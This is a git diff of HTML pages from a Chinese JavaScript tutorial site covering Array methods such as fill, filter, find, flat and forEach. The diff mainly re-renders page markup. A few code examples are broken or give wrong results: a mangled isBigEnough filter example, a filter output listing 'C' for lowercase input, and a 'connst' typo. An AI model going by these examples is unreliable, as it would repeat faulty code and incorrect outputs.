                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/fill/index.html b/standard-built-in-objects/indexed-collections/array/fill/index.html index e71989cdb..63fc9614b 100644 --- a/standard-built-in-objects/indexed-collections/array/fill/index.html +++ b/standard-built-in-objects/indexed-collections/array/fill/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.fill - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.fill()

                                                                                                                            Array.prototype.fill() 方法用于将一个固定值填充到数组中从起始索引到终止索引内的全部元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.fill( value [, start [, end] ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            fill(value: T, start?: number, end?: number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            value填充数组元素的值any
                                                                                                                            start起始索引,默认为 0。number
                                                                                                                            end结束索引,默认为 arr.lengthnumber

                                                                                                                            方法说明

                                                                                                                            具体填充区间始于 start,结束但不包括于 emdIndex(半开半闭区间)

                                                                                                                            • start 为负数,则开始索引为 arr.length + start
                                                                                                                            • end 为负数,则结束索引为 arr.length + end

                                                                                                                            代码示例

                                                                                                                            [1, 2, 3].fill(4)
                                                                                                                            // [4, 4, 4]
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.fill()

                                                                                                                            Array.prototype.fill() 方法用于将一个固定值填充到数组中从起始索引到终止索引内的全部元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.fill( value [, start [, end] ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            fill(value: T, start?: number, end?: number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            value填充数组元素的值any
                                                                                                                            start起始索引,默认为 0。number
                                                                                                                            end结束索引,默认为 arr.lengthnumber

                                                                                                                            方法说明

                                                                                                                            具体填充区间始于 start,结束但不包括于 emdIndex(半开半闭区间)

                                                                                                                            • start 为负数,则开始索引为 arr.length + start
                                                                                                                            • end 为负数,则结束索引为 arr.length + end

                                                                                                                            代码示例

                                                                                                                            [1, 2, 3].fill(4)
                                                                                                                            // [4, 4, 4]
                                                                                                                            [1, 2, 3].fill(4, 1)
                                                                                                                            // [1, 4, 4]
                                                                                                                            [1, 2, 3].fill(4, 1, 2)
                                                                                                                            // [1, 4, 3]
                                                                                                                            [1, 2, 3].fill(4, 1, 1)
                                                                                                                            // [1, 2, 3]
                                                                                                                            @@ -39,12 +42,12 @@
                                                                                                                            Array(3).fill(4)
                                                                                                                            // [4, 4, 4]
                                                                                                                            [].fill.call({length: 3}, 4)
                                                                                                                            // {0: 4, 1: 4, 2: 4, length: 3}
                                                                                                                            // Object by reference
                                                                                                                            var arr = Array(3).fill({})
                                                                                                                            // [{}, {}, {}];
                                                                                                                            -
                                                                                                                            arr[0].hi = 'hi';
                                                                                                                            // [{hi: 'hi'}, {hi: 'hi'}, {hi: "hi"}]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            arr[0].hi = 'hi';
                                                                                                                            // [{hi: 'hi'}, {hi: 'hi'}, {hi: "hi"}]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/filter/index.html b/standard-built-in-objects/indexed-collections/array/filter/index.html index 4761394f9..4d0d30c56 100644 --- a/standard-built-in-objects/indexed-collections/array/filter/index.html +++ b/standard-built-in-objects/indexed-collections/array/filter/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.filter - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.filter()

                                                                                                                            Array.prototype.filter() 方法创建一个新数组,其包含通过所提供函数实现的测试的所有元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.filter( callback = function (currentValue, index, arr) {} [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            filter<S extends T>(
                                                                                                                            predicate: (value: T, index: number, array: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): S[];
                                                                                                                            -
                                                                                                                            filter(predicate: (value: T, index: number, array: T[]) => unknown, thisArg?: any): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回一个新的通过测试的成员的集合的数组。

                                                                                                                            方法说明

                                                                                                                            • 该方法为数组中的每个成员调用一次回调函数,并利用所有使得回调函数返回 true 或 等价于 true 的值的成员创建一个新数组。回调函数只会在已经赋值的索引上被调用,对于那些已经被删除或者从未被赋值的索引不会被调用。那些没有通过回调函数测试的元素会被跳过,不会被包含在新数组中。
                                                                                                                            • 如果提供 thisArg 参数,则它会被作为回调函数被调用时的 this 值。否则,回调函数的 this 值在非严格模式下将是全局对象,严格模式下为 undefined
                                                                                                                            • 遍历的元素范围在第一次调用回调函数之前就已经确定了。在调用该方法之后被添加到数组中的元素不会被 遍历到。如果已经存在的元素被改变了,则他们传入回调函数的值是遍历到它们那一刻的值。被删除或从来未被赋值的元素不会被遍历到。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const isBigEnough = (value) => value >= (10)[(12, 5, 8, 130, 44)].filter(isBigEnough);
                                                                                                                            // false

                                                                                                                            排除偶数保留奇数

                                                                                                                            let arr = [1, 2, 3, 5, 6, 9, 10];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.filter()

                                                                                                                            Array.prototype.filter() 方法创建一个新数组,其包含通过所提供函数实现的测试的所有元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.filter( callback = function (currentValue, index, arr) {} [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            filter<S extends T>(
                                                                                                                            predicate: (value: T, index: number, array: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): S[];
                                                                                                                            +
                                                                                                                            filter(predicate: (value: T, index: number, array: T[]) => unknown, thisArg?: any): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回一个新的通过测试的成员的集合的数组。

                                                                                                                            方法说明

                                                                                                                            • 该方法为数组中的每个成员调用一次回调函数,并利用所有使得回调函数返回 true 或 等价于 true 的值的成员创建一个新数组。回调函数只会在已经赋值的索引上被调用,对于那些已经被删除或者从未被赋值的索引不会被调用。那些没有通过回调函数测试的元素会被跳过,不会被包含在新数组中。
                                                                                                                            • 如果提供 thisArg 参数,则它会被作为回调函数被调用时的 this 值。否则,回调函数的 this 值在非严格模式下将是全局对象,严格模式下为 undefined
                                                                                                                            • 遍历的元素范围在第一次调用回调函数之前就已经确定了。在调用该方法之后被添加到数组中的元素不会被 遍历到。如果已经存在的元素被改变了,则他们传入回调函数的值是遍历到它们那一刻的值。被删除或从来未被赋值的元素不会被遍历到。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const isBigEnough = (value) => value >= (10)[(12, 5, 8, 130, 44)].filter(isBigEnough);
                                                                                                                            // false

                                                                                                                            排除偶数保留奇数

                                                                                                                            let arr = [1, 2, 3, 5, 6, 9, 10];
                                                                                                                            arr.filter((value) => value % 2 !== 0);
                                                                                                                            // [1, 3, 5, 9]

                                                                                                                            清除数组空字符

                                                                                                                            let arr = ['A', '', 'B', null, undefined, 'c', ' '];
                                                                                                                            -
                                                                                                                            arr.filter((value) => value && value.trim());
                                                                                                                            // ['A', 'B', 'C']

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            arr.filter((value) => value && value.trim());
                                                                                                                            // ['A', 'B', 'C']

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/find-index/index.html b/standard-built-in-objects/indexed-collections/array/find-index/index.html index fb538e354..c676af106 100644 --- a/standard-built-in-objects/indexed-collections/array/find-index/index.html +++ b/standard-built-in-objects/indexed-collections/array/find-index/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.findIndex - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.findIndex()

                                                                                                                            findIndex()方法返回数组中满足提供的测试函数的第一个元素索引。否则返回-1。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.findIndex( callback [, thisArg ])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            findIndex(predicate: (value: T, index: number, obj: T[]) => unknown, thisArg?: any): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数类型说明
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [1, 2, 3, 4, 5, 12, 22, 2, 2, 2];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.findIndex()

                                                                                                                            findIndex()方法返回数组中满足提供的测试函数的第一个元素索引。否则返回-1。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.findIndex( callback [, thisArg ])

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            findIndex(predicate: (value: T, index: number, obj: T[]) => unknown, thisArg?: any): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数类型说明
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [1, 2, 3, 4, 5, 12, 22, 2, 2, 2];
                                                                                                                            const foo = arr.findIndex(function (currentValue, index, array) {
                                                                                                                            return currentValue === 2;
                                                                                                                            });
                                                                                                                            console.log(foo);
                                                                                                                            // 1

                                                                                                                            查找质数

                                                                                                                            查找数组中首个质数元素的索引。

                                                                                                                            function isPrime(element, index, array) {
                                                                                                                            var start = 2;
                                                                                                                            while (start <= Math.sqrt(element)) {
                                                                                                                            if (element % start++ < 1) {
                                                                                                                            return false;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            return element > 1;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            console.log([4, 6, 8, 12].findIndex(isPrime));
                                                                                                                            // -1
                                                                                                                            console.log([4, 6, 7, 12].findIndex(isPrime));
                                                                                                                            // 2

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log([4, 6, 8, 12].findIndex(isPrime));
                                                                                                                            // -1
                                                                                                                            console.log([4, 6, 7, 12].findIndex(isPrime));
                                                                                                                            // 2

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/find/index.html b/standard-built-in-objects/indexed-collections/array/find/index.html index 4051245cb..03a8cc6bc 100644 --- a/standard-built-in-objects/indexed-collections/array/find/index.html +++ b/standard-built-in-objects/indexed-collections/array/find/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.find - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.find()

                                                                                                                            Array.prototype.find() 方法返回数组中满足提供的判定函数的第一个成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.find( callback [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            find<S extends T>(
                                                                                                                            predicate: (this: void, value: T, index: number, obj: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): S | undefined;
                                                                                                                            find(predicate: (value: T, index: number, obj: T[]) => unknown, thisArg?: any): T | undefined;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            当遍历到的数组成员通过回调函数的判定时,返回数组中该成员,否则返回 undefined

                                                                                                                            代码示例

                                                                                                                            用对象的属性查找数组里的对象

                                                                                                                            let foo = [
                                                                                                                            { name: 'a', quantity: 2 },
                                                                                                                            { name: 'b', quantity: 0 },
                                                                                                                            { name: 'c', quantity: 5 },
                                                                                                                            ];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.find()

                                                                                                                            Array.prototype.find() 方法返回数组中满足提供的判定函数的第一个成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.find( callback [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            find<S extends T>(
                                                                                                                            predicate: (this: void, value: T, index: number, obj: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): S | undefined;
                                                                                                                            find(predicate: (value: T, index: number, obj: T[]) => unknown, thisArg?: any): T | undefined;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            当遍历到的数组成员通过回调函数的判定时,返回数组中该成员,否则返回 undefined

                                                                                                                            代码示例

                                                                                                                            用对象的属性查找数组里的对象

                                                                                                                            let foo = [
                                                                                                                            { name: 'a', quantity: 2 },
                                                                                                                            { name: 'b', quantity: 0 },
                                                                                                                            { name: 'c', quantity: 5 },
                                                                                                                            ];
                                                                                                                            const getFoo = (key) => (arr) => arr.name === key;
                                                                                                                            console.log(foo.find(getFoo('c')));
                                                                                                                            // { name: 'c', quantity: 5 }

                                                                                                                            寻找数组中的质数

                                                                                                                            function isPrime(element, index, array) {
                                                                                                                            let start = 2;
                                                                                                                            while (start <= Math.sqrt(element)) {
                                                                                                                            if (element % start++ < 1) {
                                                                                                                            return false;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            return element > 1;
                                                                                                                            }
                                                                                                                            console.log([4, 6, 8, 12].find(isPrime));
                                                                                                                            // undefined, not found
                                                                                                                            console.log([4, 5, 8, 12].find(isPrime));
                                                                                                                            // 5

                                                                                                                            当在回调中删除数组中的一个值时,当访问到这个位置时,其传入的值时 undefiend

                                                                                                                            // Declare array with no element at index 2, 3 and 4
                                                                                                                            var a = [0, 1, , , , 5, 6];
                                                                                                                            // Shows all indexes, not just those that have been assigned values
                                                                                                                            a.find(function (value, index) {
                                                                                                                            console.log('Visited index ' + index + ' with value ' + value);
                                                                                                                            });
                                                                                                                            -
                                                                                                                            // Shows all indexes, including deleted
                                                                                                                            a.find(function (value, index) {
                                                                                                                            // Delete element 5 on first iteration
                                                                                                                            if (index == 0) {
                                                                                                                            console.log('Deleting a[5] with value ' + a[5]);
                                                                                                                            delete a[5]; // 注:这里只是将a[5]设置为undefined,可以试试用a.pop()删除最后一项,依然会遍历到被删的那一项
                                                                                                                            }
                                                                                                                            // Element 5 is still visited even though deleted
                                                                                                                            console.log('Visited index ' + index + ' with value ' + value);
                                                                                                                            });

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            // Shows all indexes, including deleted
                                                                                                                            a.find(function (value, index) {
                                                                                                                            // Delete element 5 on first iteration
                                                                                                                            if (index == 0) {
                                                                                                                            console.log('Deleting a[5] with value ' + a[5]);
                                                                                                                            delete a[5]; // 注:这里只是将a[5]设置为undefined,可以试试用a.pop()删除最后一项,依然会遍历到被删的那一项
                                                                                                                            }
                                                                                                                            // Element 5 is still visited even though deleted
                                                                                                                            console.log('Visited index ' + index + ' with value ' + value);
                                                                                                                            });

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/flat-map/index.html b/standard-built-in-objects/indexed-collections/array/flat-map/index.html index a17e36d8b..1b8f50fac 100644 --- a/standard-built-in-objects/indexed-collections/array/flat-map/index.html +++ b/standard-built-in-objects/indexed-collections/array/flat-map/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.flatMap - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.flatMap()

                                                                                                                            ⭐️ ES2019(ES10)新特性

                                                                                                                            Array.prototype.flatMap() 方法首先使用映射函数映射每个元素,然后将结果压缩成一个新数组。它与 Array.prototype.map() 连着深度值为 1 的 Array.prototype.flat() 几乎相同,但该方法通常在合并成一种方法的效率稍微高一些。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.flatMap(callback, [thisArg]);

                                                                                                                            类型声明:

                                                                                                                            type FlatArray<Arr, Depth extends number> = {
                                                                                                                            done: Arr;
                                                                                                                            recur: Arr extends ReadonlyArray<infer InnerArr>
                                                                                                                            ? FlatArray<
                                                                                                                            InnerArr,
                                                                                                                            [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20][Depth]
                                                                                                                            >
                                                                                                                            : Arr;
                                                                                                                            }[Depth extends -1 ? 'done' : 'recur'];
                                                                                                                            -
                                                                                                                            interface ReadonlyArray<T> {
                                                                                                                            flatMap<U, This = undefined>(
                                                                                                                            callback: (this: This, value: T, index: number, array: T[]) => U | ReadonlyArray<U>,
                                                                                                                            thisArg?: This
                                                                                                                            ): U[];
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface Array<T> {
                                                                                                                            flatMap<U, This = undefined>(
                                                                                                                            callback: (this: This, value: T, index: number, array: T[]) => U | ReadonlyArray<U>,
                                                                                                                            thisArg?: This
                                                                                                                            ): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback可以生成一个新数组中的元素的函数Function
                                                                                                                            thisArg(可选参数)执行 callback 函数时,使用的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:(可选的)数组中正处理的当前元素的索引
                                                                                                                            • array:(可选的)被调用的数组

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr1 = [1, 2, 3, 4];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.flatMap()

                                                                                                                            ⭐️ ES2019(ES10)新特性

                                                                                                                            Array.prototype.flatMap() 方法首先使用映射函数映射每个元素,然后将结果压缩成一个新数组。它与 Array.prototype.map() 连着深度值为 1 的 Array.prototype.flat() 几乎相同,但该方法通常在合并成一种方法的效率稍微高一些。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.flatMap(callback, [thisArg]);

                                                                                                                            类型声明:

                                                                                                                            type FlatArray<Arr, Depth extends number> = {
                                                                                                                            done: Arr;
                                                                                                                            recur: Arr extends ReadonlyArray<infer InnerArr>
                                                                                                                            ? FlatArray<
                                                                                                                            InnerArr,
                                                                                                                            [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20][Depth]
                                                                                                                            >
                                                                                                                            : Arr;
                                                                                                                            }[Depth extends -1 ? 'done' : 'recur'];
                                                                                                                            +
                                                                                                                            interface ReadonlyArray<T> {
                                                                                                                            flatMap<U, This = undefined>(
                                                                                                                            callback: (this: This, value: T, index: number, array: T[]) => U | ReadonlyArray<U>,
                                                                                                                            thisArg?: This
                                                                                                                            ): U[];
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface Array<T> {
                                                                                                                            flatMap<U, This = undefined>(
                                                                                                                            callback: (this: This, value: T, index: number, array: T[]) => U | ReadonlyArray<U>,
                                                                                                                            thisArg?: This
                                                                                                                            ): U[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback可以生成一个新数组中的元素的函数Function
                                                                                                                            thisArg(可选参数)执行 callback 函数时,使用的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:(可选的)数组中正处理的当前元素的索引
                                                                                                                            • array:(可选的)被调用的数组

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr1 = [1, 2, 3, 4];
                                                                                                                            arr1.map((x) => [x * 2]);
                                                                                                                            // [[2], [4], [6], [8]];
                                                                                                                            arr1.flatMap((x) => [x * 2]);
                                                                                                                            // [2, 4, 6, 8]
                                                                                                                            -
                                                                                                                            // 只会扁平化一层
                                                                                                                            arr1.flatMap((x) => [[x * 2]]);
                                                                                                                            // [[2], [4], [6], [8]]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            // 只会扁平化一层
                                                                                                                            arr1.flatMap((x) => [[x * 2]]);
                                                                                                                            // [[2], [4], [6], [8]]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/flat/index.html b/standard-built-in-objects/indexed-collections/array/flat/index.html index 4b88a482b..2d943b135 100644 --- a/standard-built-in-objects/indexed-collections/array/flat/index.html +++ b/standard-built-in-objects/indexed-collections/array/flat/index.html @@ -7,42 +7,45 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.flat - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.flat()

                                                                                                                            ⭐️ ES2019(ES10)新特性

                                                                                                                            Array.prototype.flat() 方法会按照一个可指定的深度递归遍历数组,并将所有元素与遍历到的子数组中的元素合并为一个新数组返回。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.flat([depth]);

                                                                                                                            类型声明:

                                                                                                                            type FlatArray<Arr, Depth extends number> = {
                                                                                                                            done: Arr;
                                                                                                                            recur: Arr extends ReadonlyArray<infer InnerArr>
                                                                                                                            ? FlatArray<
                                                                                                                            InnerArr,
                                                                                                                            [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20][Depth]
                                                                                                                            >
                                                                                                                            : Arr;
                                                                                                                            }[Depth extends -1 ? 'done' : 'recur'];
                                                                                                                            -
                                                                                                                            interface ReadonlyArray<T> {
                                                                                                                            flat<A, D extends number = 1>(this: A, depth?: D): FlatArray<A, D>[];
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface Array<T> {
                                                                                                                            flat<A, D extends number = 1>(this: A, depth?: D): FlatArray<A, D>[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            depth(可选参数)指定要提取嵌套数组的结构深度,默认值为 1number

                                                                                                                            返回值:

                                                                                                                            返回一个包含将数组与子数组种所有元素的新数组。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr1 = [0, 1, 2, [3, 4]];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.flat()

                                                                                                                            ⭐️ ES2019(ES10)新特性

                                                                                                                            Array.prototype.flat() 方法会按照一个可指定的深度递归遍历数组,并将所有元素与遍历到的子数组中的元素合并为一个新数组返回。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.flat([depth]);

                                                                                                                            类型声明:

                                                                                                                            type FlatArray<Arr, Depth extends number> = {
                                                                                                                            done: Arr;
                                                                                                                            recur: Arr extends ReadonlyArray<infer InnerArr>
                                                                                                                            ? FlatArray<
                                                                                                                            InnerArr,
                                                                                                                            [-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20][Depth]
                                                                                                                            >
                                                                                                                            : Arr;
                                                                                                                            }[Depth extends -1 ? 'done' : 'recur'];
                                                                                                                            +
                                                                                                                            interface ReadonlyArray<T> {
                                                                                                                            flat<A, D extends number = 1>(this: A, depth?: D): FlatArray<A, D>[];
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface Array<T> {
                                                                                                                            flat<A, D extends number = 1>(this: A, depth?: D): FlatArray<A, D>[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            depth(可选参数)指定要提取嵌套数组的结构深度,默认值为 1number

                                                                                                                            返回值:

                                                                                                                            返回一个包含将数组与子数组种所有元素的新数组。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr1 = [0, 1, 2, [3, 4]];
                                                                                                                            console.log(arr1.flat());
                                                                                                                            // exprected output: [0, 1, 2, 3, 4]
                                                                                                                            const arr2 = [0, 1, 2, [[[3, 4]]]];
                                                                                                                            console.log(arr2.flat());
                                                                                                                            // exprected output: [0, 1, 2, [ 3, 4]];

                                                                                                                            扁平化嵌套数组

                                                                                                                            const arr1 = [1, 2, [3, 4]];
                                                                                                                            arr1.flat();
                                                                                                                            // [1, 2, 3, 4]
                                                                                                                            const arr2 = [1, 2, [3, 4, [5, 6]]];
                                                                                                                            arr2.flat();
                                                                                                                            // [1, 2, 3, 4, [5, 6]]
                                                                                                                            const arr3 = [1, 2, [3, 4, [5, 6]]];
                                                                                                                            arr3.flat(2);
                                                                                                                            // [1, 2, 3, 4, 5, 6]
                                                                                                                            //使用 Infinity,可展开任意深度的嵌套数组
                                                                                                                            const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]];
                                                                                                                            arr4.flat(Infinity);
                                                                                                                            // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]

                                                                                                                            扁平化与数组空项

                                                                                                                            flat() 方法将会移除数组中的空项:

                                                                                                                            connst arr4 = [1, 2, , 4, 5];
                                                                                                                            -
                                                                                                                            arr4.flat();
                                                                                                                            // [1, 2, 4, 5]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            arr4.flat();
                                                                                                                            // [1, 2, 4, 5]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/for-each/index.html b/standard-built-in-objects/indexed-collections/array/for-each/index.html index 44c11ddb6..7155ede4a 100644 --- a/standard-built-in-objects/indexed-collections/array/for-each/index.html +++ b/standard-built-in-objects/indexed-collections/array/for-each/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.forEach - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.forEach()

                                                                                                                            Array.prototype.forEach() 方法用于迭代数组的每项成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.forEach( callbackfn [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            forEach(callbackfn: (value: T, index: number, array: T[]) => void, thisArg?: any): void;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callbackfn用于遍历数组成员时执行的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callbackfn 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回 undefined

                                                                                                                            方法说明

                                                                                                                            • 该方法按升序为数组中含有效值的每一项执行一次回调函数,那些已删除(使用 delete 方法等情况)或者未初始化的项将被跳过(但不包括那些值为 undefined 的项,例如在稀疏数组中)。
                                                                                                                            • 该方法遍历的范围在第一次调用回调函数前就会确定。调用 forEach() 后添加到数组中的项不会被 callbackfn 访问到。如果已经存在的值被改变,则传递给 callbackfn 的值是 forEach 遍历到他们那一刻的值。已删除的项不会被遍历到。如果已访问的元素在迭代时被删除了(例如使用 shift() ) ,之后的元素将被跳过。
                                                                                                                            • forEach() 为每个数组元素执行 callbackfn 函数;不像 map() 或者 reduce() ,它总是返回 undefined 值,并且不可链式调用。典型用例是在一个链的最后执行副作用。

